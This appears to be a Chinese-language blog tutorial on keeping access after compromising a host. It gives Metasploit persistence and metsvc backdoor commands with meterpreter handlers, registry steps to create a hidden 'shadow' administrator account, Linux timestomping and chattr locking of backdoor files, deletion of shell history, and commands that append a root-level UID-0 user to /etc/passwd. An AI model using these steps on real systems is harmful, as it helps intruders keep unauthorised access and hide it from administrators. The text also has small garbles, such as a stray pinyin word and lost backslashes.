权限维持初探

[toc]

权限维持

分两类记录一下

Windows

在目标系统中留下shellcode之后,仅仅是驻留在内存中,重新启动就会消失。需要进行后门植入才能长期的维持权限。

MSF persistence

首先就是MSF的渗透测试persistence模块。

1
2
3
4
5
6
run persistence -X -i 5 -r ip -p port
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST ip
set LPORT port
run

开启后门,在系统服务启动时自动启动,每5秒回连一次。这个方法需要在BypassUAC之后才能起作用。因为该方式会在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run中添加开机自启动。由于权限问题不绕过UAC会导致启动失败。当然msf也提供了很多模块绕过UAC。

Metsvc

通过已有shell的目标主机上开启一个服务来提供后门。

1
2
3
4
5
6
run metsvc -A
use exploit/multi/handler
set payload windows/metsvc_bind_tcp
set RHOST ip
set LPORT 31337
run

执行成功后,会在C:WindowsTEMP目录下新建随机名称的文件夹,里面生成3个文件metsvc.dll、metsvc-server.exe、metsvc.exe。也会启动一个名为Metsvc的服务自动绑定在31337端口。

建立影子账户

前面两个都是通过msf工具来完成的权限维持,也可以通过手动创建一个账户来维持权限。该账户无法使用net user命令查看到,只能在注册表中看到。在Windows中,如果在用户名后面添加一个$就可以达到目的。到这里是一个隐藏账户,而影子账户顾名思义,就是和本体(管理员)相同,却又看不到的账户。

添加账户需要的是system权限,administrator权限是不行的,因为morenzhucebiaoHKEY_LOCAL_MACHINE\SAM\SAM\只有system权限才能修改。

首先需要建立一个隐藏账户,shadow&:shadow

这个账户虽然用net user命令看不到,但是在控制面板能看到

然后win+R输入regedit打开注册表,找到HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/Name。其中能看到我们新创建的隐藏账户。到处这个注册表命名为1.reg。接下来观察这张注册表中的Type,在上级目录下能找到同名注册表。

同样导出,命名为2.reg。一般Windwos的Administrator用户的Type为1F4,找到同名注册表,一般都是第一个,导出命名为3.ref。将2.reg中F的键值替换为3.reg中对应的键值。接下来使用net user命令删除shadow$账户,完成之后双击导入的两个注册表,成功创建了影子账户。这样除了注册表中,其他位置均无法看到shadow$账户。

Linux

隐藏文件后门

windows下一个文件有创建时间,修改时间和访问时间。对照在Linux下文件有修改时间,访问时间和状态改变时间,可以使用stat命令查看。可以通过比对文件的修改时间来找到后门文件。因此想要隐藏后门,就必须更改后门文件的时间戳,可以用touch -r命令实现。

使用chattr命令来锁定文件使文件不会被轻易删除。添加的不可删除属性无法使用 ls -al命令看到,只能使用lsattr才能看到。

进行完一系列操作后,需要对执行命令记录进行清扫。可以通过history查看,并使用-d参数删除对应的行。

添加用户

Linux下一句话添加用户,没有回显。以下是四种方式添加用户名密码为ama666:123456的用户。

1
2
3
4
useradd ama666;echo 'ama666:123456'|chpasswd
useradd -p `openssl passwd 123456` ama666
useradd -p "$(openssl passwd 123456)" ama666
useradd ama666;echo -e "123456n123456n" |passwd ama666

添加玩用户需要给用户赋予root权限。

1
2
echo "ama666:x:0:0::/:/bin/sh" >> /etc/passwd
echo 'ama666:123456'|chpasswd